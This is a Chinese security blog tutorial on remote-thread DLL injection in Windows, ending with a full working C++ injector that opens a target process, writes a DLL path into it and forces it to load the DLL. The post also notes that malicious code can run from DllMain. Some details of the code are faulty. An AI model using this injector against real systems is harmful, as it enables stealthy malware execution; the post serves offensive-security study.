进程注入之远程线程注入

admin 2021年5月5日10:23:58评论49 views字数 8435阅读28分7秒阅读模式

点击蓝字

进程注入之远程线程注入

关注我们



声明

本文作者:Gality
本文字数:3500

阅读时长:20~30分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。



有想一起研究免杀技术或者二进制技术的师傅萌
简历请砸 G[email protected]rg
或者加入交流群找师傅~
欢迎各位师傅一起交流学习


前言


本篇文章为进程注入系列的第二篇文章,同样是在process-inject项目的基础上进行进一步的扩展延伸,进而掌握进程注入的各种方式,本系列预计至少会有10篇文章,涉及7种进程注入方式及一些发散扩展。

原项目地址:https://github.com/suvllian/process-inject


一、

题外话

首先,先说点题外话,我们都知道现代操作系统都是多任务的,也就是说同一时间会执行多个进程,而每个进程都有自己独立的进程空间,这就保证了所谓的进程的安全性,每个进程对自己所属的空间有控制权,而其他进程无权干涉别的进程的空间。


那么为什么windows提供了API使得一个进程可以获取别的进程内存的读写权限呢?这就相当于微软官方在设计了进程内存独立的机制后,又专门为访问别的进程的内存提供了方法,这并不是自己打自己脸,二者其实都有自己的意义


拿CreateRemoteThread来说,虽然这是一个经典的木马使用的api,但是如果你想在进程运行中增加功能或者对进程进行修改,就必须用到CreateRemoteThread,或者你想要为另一个进程创建的窗口建立子类,又或者当你想挂接别的进程时,都会用到这个API,所以我们看待问题时不能太过极端,技术无好坏,但我们有!


二、

远程线程注入概论

远程线程注入是最经典的进程注入的手段,当然,也是被各大杀软厂商盯的死死的,但作为进程注入系列的开篇,又不得不从这个最古老的注入手段说起,虽然后续的各种手段都有了各种各样免杀的方式,但是身上都或多或少的有远程线程注入这种方式的影子,所以,作为学习来说,肯定还是从他开始。


前面说到过,windows提供的API使得我们可以对别的进程的内存进行访问,同时还提供了可以让别的API执行指定函数的API:CreateRemoteThread,这个API是这种注入方式的核心,即先将想要加载的DLL的绝对路径字符串写入到指定空间,然后用CreateRemoteThread强迫目标进程执行LoadLibrary将我们指定的DLL加载进进程,此时DLLMain中的内容就会直接执行。


所以远程线程注入的基本流程为:


  1. 获取debug权限

  2. 用OpenProcess获取进程句柄

  3. 通过进程句柄申请进程的内存VirtualAddress

  4. 用WriteProcessMemory进程内存进行写操作

  5. 用CreateRemoteThread让被注入exe加载任意dll


大体流程如上所述,不过还有些涉及到的知识点和细节需要说下


三、

前置知识

DLL

因为本专题是对进程注入的研究,故只是简单介绍下Dll,dll和exe其实共享同一种文件格式,都是PE文件格式,我们可以简单把exe和dll认为成两种类型的应用程序:exe是独立执行的应用程序,就像机器人的主干,实现一些主体功能,dll是动态的修补应用程序,就像机器人的各种配件,机器人可以通过各种配件增加功能,同时部分功能的实现也需要以来一些基础配件(系统dll),dll本身没法直接执行


dll的入口函数叫做DllMain,DllMain中的代码会在dll被装载时自动执行,一般是为了dll做一些准备工作,不过既然是我们自己编写的dll,就可以将恶意代码写在DllMain中,这样只需要加载dll,我们的恶意代码就会自动执行了

seDebug权限

这个在上一篇文章<进程注入之进程提权>中讲的非常清楚了,不明白的话请参考上一篇文章

CreateRemoteThread

使用 Windows 远程线程机制,在本地进程中通过 CreateRemoteThread 函数在其他进程中开启并运行一个线程。CreateRemoteThread 函数原型如下:

HANDLE WINAPI CreateRemoteThread (    HANDLE                  hProcess,           // 远程进程句柄    LPSECURITY_ATTRIBUTES   lpThreadAttributes, // 线程的安全属性    SIZE_T                  dwStackSize,        // 线程栈的大小    LPTHREAD_START_ROUTINE  lpStartAddress,         // 线程入口函数的起始地址    LPVOID                  lpParameter,        // 传递给线程函数的参数    DWORD                   dwCreationFlags,    // 线程是否立即启动    LPDWORD                 lpThreadId      // 用于保存内核分配给线程的ID);

主要关注三个参数:hProcess、lpStartAddress 和 lpParameter。

  • hProcess 是要执行线程的目标进程句柄;

  • lpStartAddress 是线程函数的起始地址,且该函数必须位于目标进程;

  • lpParameter 是传递给线程函数的参数。

为了使远程进程加载 DLL,把 LoadLibrary 函数作为 CreateRemoteThread 的线程函数,要加载的 DLL 路径作为线程函数的参数即可。


让远程进程执行 LoadLibrary 函数加载 DLL 文件,需解决两个问题:

1)获得远程进程中 LoadLibrary 函数的地址:Kernel32.dll 是系统基本库,且 Windows 系统中,所有进程加载 Kernel32.dll 模块基址是固定且一致的,所以只需获取本地进程中 LoadLibrary 地址写入即可(通过GetProcAddress获得)。

2)向远程进程传递需加载 DLL 的路径:通过 Windows API 函数把路径写入远程进程中,使用以下API:OpenProcess、VirtualAllocEx、WriteProcessMemory、VirtualFreeEx。

还有个小细节,在于需要做一步强制类型转换,也就是将LoadLibrary转换成指定的LPTHREAD_START_ROUTINE类型才能正常使用,这是微软规定的。


四、

注入过程

获取sedebug权限

直接贴代码了,上一章中详细讲过


BOOL EnableDebugPrivilege() {    HANDLE TokenHandle = NULL;    TOKEN_PRIVILEGES TokenPrivilege;    LUID uID;    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle)) {        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &uID)) {            TokenPrivilege.PrivilegeCount = 1;            TokenPrivilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;            TokenPrivilege.Privileges[0].Luid = uID;            if (AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivilege, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {                CloseHandle(TokenHandle);                TokenHandle = INVALID_HANDLE_VALUE;                return TRUE;            }            else                goto Fail;        }        else            goto Fail;    }    else        goto Fail;Fail:    CloseHandle(TokenHandle);    TokenHandle = INVALID_HANDLE_VALUE;    return FALSE;}

获取目标进程句柄

使用 OpenProcess 函数打开远程进程的句柄。访问权限 dwDesiredAccess 需要设置为 PROCESS_ALL_ACCESS。

HANDLE WINAPI OpenProcess (    DWORD   dwDesiredAccess,    // 指定所得句柄具有的访问权限    BOOL    bInheritHandle,     // 是否可被继承    DWORD   dwProcessId     // 指定要打开的进程ID);OpenProcess(PROCESS_ALL_ACCESS, FALSE, ulTargetProcessID);

在目标进程分配内存空间

使用 VirtualAllocEx 在目标进程中分配内存空间,用来保存要加载 DLL 的路径。

LPVOID WINAPI VirtualAllocEx (    HANDLE  hProcess,           // 目标进程句柄    LPVOID  lpAddress,          // 期望的起始地址,通常置为NULL    SIZE_T  dwSize,             // 需分配的内存大小    DWORD   flAllocationType,       // 分配内存空间的类型,取 MEM_COMMIT    DWORD   flProtect       // 内存访问权限,指定为可读可写:PAGE_READWRITE);VirtualAddress = (WCHAR*)VirtualAllocEx(TargetProcessHandle, NULL,ulDllLength * sizeof(ULONG32), MEM_COMMIT, PAGE_READWRITE);
 

将 DLL 路径写至目标进程

 WriteProcessMemory 函数把需加载的 DLL 的绝对路径写入到远程进程分配的内存空间中。
BOOL WINAPI WriteProcessMemory (    HANDLE    hProcess,              // 目标进程句柄    LPVOID    lpBaseAddress,             // 目标进程内存空间地址,也就是待写入字符串的地址(目的地址)    LPCVOID   lpBuffer,              // 原存放字符串的地址(源地址)    SIZE_T    nSize,             // 需写入数据字节数    SIZE_T    *lpNumberOfBytesWritten    // 实际写入的字节数,设置为 NULL);WriteProcessMemory(TargetProcessHandle, VirtualAddress, (LPVOID)wzDllFullPath, ulDllLength * sizeof(WCHAR), NULL)

获取 LoadLibraryW 地址

Windows 系统中,LoadLibraryW 函数位于 kernel32.dll 中,并且系统核心 DLL 会加载到固定地址,所以系统中所有进程的 LoadLibraryW 函数地址是相同的。用 GetProcAddress 函数获取本地进程 LoadLibraryW 地址即可。

WINAPI GetProcAddress (    MODULE  hModule,      // 模块句柄    LPCSTR  lpProcName    // 函数名);FunctionAddress = (LPTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T("kernel32")), "LoadLibraryW");  // ::表示调用API

在目标进程中运行远程线程

使用 CreateRemoteThread 函数使得目标进程调用 LoadLibraryW 函数加载指定 DLL

HANDLE WINAPI CreateRemoteThread (    HANDLE                  hProcess,           // 远程进程句柄    LPSECURITY_ATTRIBUTES   lpThreadAttributes, // 线程的安全属性    SIZE_T                  dwStackSize,        // 线程栈的大小    LPTHREAD_START_ROUTINE  lpStartAddress,         // 线程入口函数的起始地址    LPVOID                  lpParameter,        // 传递给线程函数的参数    DWORD                   dwCreationFlags,    // 线程是否立即启动    LPDWORD                 lpThreadId      // 用于保存内核分配给线程的ID);ThreadHandle = CreateRemoteThread(TargetProcessHandle, NULL, 0, FunctionAddress, VirtualAddress, 0, NULL);

等待远程线程结束并清理

在远程线程结束后及时释放内存并关闭句柄

WaitForSingleObject(ThreadHandle, INFINITE);  //等待线程结束//释放申请的内存VirtualFreeEx(TargetProcessHandle, VirtualAddress, ulDllLength, MEM_DECOMMIT | MEM_RELEASE);  CloseHandle(ThreadHandle);   //关闭句柄CloseHandle(TargetProcessHandle);

最终代码及效果

// RemoteProcessInjection.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include <iostream>#include <Windows.h>#include <tchar.h>using namespace std;BOOL EnableDebugPrivilege();BOOL InjectDllByRemoteThread(ULONG32 ulTargetProcessID, WCHAR* wzDllFullPath);int _tmain(int argc, _TCHAR* argv[]){    if (EnableDebugPrivilege() == FALSE) {        return 0;    }    ULONG32 ulProcessID = 0;    printf("Input the Process ID:");    cin >> ulProcessID;    WCHAR wzDllFullPath[MAX_PATH] = { 0 };#ifndef _WIN64    wcsncat_s(wzDllFullPath, L"D:\project\TestDll\Release\TestDll.dll", 60);#else // _WIN64    wcsncat_s(wzDllFullPath, L"D:\project\TestDll\x64\Release\TestDll.dll", 60);#endif    InjectDllByRemoteThread(ulProcessID, wzDllFullPath);    return 0;}BOOL EnableDebugPrivilege() {    HANDLE TokenHandle = NULL;    TOKEN_PRIVILEGES TokenPrivilege;    LUID uID;    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle)) {        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &uID)) {            TokenPrivilege.PrivilegeCount = 1;            TokenPrivilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;            TokenPrivilege.Privileges[0].Luid = uID;            if (AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivilege, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {                CloseHandle(TokenHandle);                TokenHandle = INVALID_HANDLE_VALUE;                return TRUE;            }            else                goto Fail;        }        else            goto Fail;    }    else        goto Fail;Fail:    CloseHandle(TokenHandle);    TokenHandle = INVALID_HANDLE_VALUE;    return FALSE;}BOOL InjectDllByRemoteThread(ULONG32 ulTargetProcessID, WCHAR* wzDllFullPath) {    HANDLE TargetProcessHandle = NULL;    TargetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ulTargetProcessID);    //open handle    if (TargetProcessHandle == NULL) {        printf("failed to open dll");        return FALSE;    }    //get address of remote process    WCHAR* VirtualAddress = NULL;    ULONG32 ulDllLength = (ULONG32)_tcslen(wzDllFullPath) + 1;    VirtualAddress = (WCHAR*)VirtualAllocEx(TargetProcessHandle, NULL, ulDllLength * sizeof(ULONG32), MEM_COMMIT, PAGE_READWRITE);    if (VirtualAddress == NULL) {        printf("failed to Alloc!");        CloseHandle(TargetProcessHandle);        return FALSE;    }    //write     if (FALSE == WriteProcessMemory(TargetProcessHandle, VirtualAddress, (LPVOID)wzDllFullPath, ulDllLength * sizeof(WCHAR), NULL)) {        printf("failed to writen");        VirtualFreeEx(TargetProcessHandle, VirtualAddress, ulDllLength, MEM_DECOMMIT | MEM_RELEASE);        CloseHandle(TargetProcessHandle);        return FALSE;    }    LPTHREAD_START_ROUTINE FunctionAddress = NULL;    FunctionAddress = (LPTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T("kernel32")), "LoadLibraryW");    HANDLE ThreadHandle = INVALID_HANDLE_VALUE;    //start    ThreadHandle = CreateRemoteThread(TargetProcessHandle, NULL, 0, FunctionAddress, VirtualAddress, 0, NULL);    if (ThreadHandle == NULL) {        VirtualFreeEx(TargetProcessHandle, VirtualAddress, ulDllLength, MEM_DECOMMIT | MEM_RELEASE);        CloseHandle(TargetProcessHandle);        return FALSE;    }    //wait for single object    WaitForSingleObject(ThreadHandle, INFINITE);    VirtualFreeEx(TargetProcessHandle, VirtualAddress, ulDllLength, MEM_DECOMMIT | MEM_RELEASE);    CloseHandle(ThreadHandle);    CloseHandle(TargetProcessHandle);    return TRUE;    
}


进程注入之远程线程注入

进程注入之远程线程注入



后记



以上,这篇文章暂时到这里,相信各位师傅对于这种常见的注入手法都比较了解了,上述也都比较常规,不过下一篇文章会在这篇文章的基础上谈一些新的思路和手法,请持续关注~

有想一起研究免杀技术或者二进制技术的师傅萌,简历请砸 [email protected]rg
欢迎各位师傅一起交流学习





作者



进程注入之远程线程注入

Gality

过去的很久没更新了,未来会补上


扫描关注公众号回复加群

和师傅们一起讨论研究~


WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec


进程注入之远程线程注入
进程注入之远程线程注入


本文始发于微信公众号(WgpSec狼组安全团队):进程注入之远程线程注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月5日10:23:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   进程注入之远程线程注入https://cn-sec.com/archives/366514.html

发表评论

匿名网友 填写信息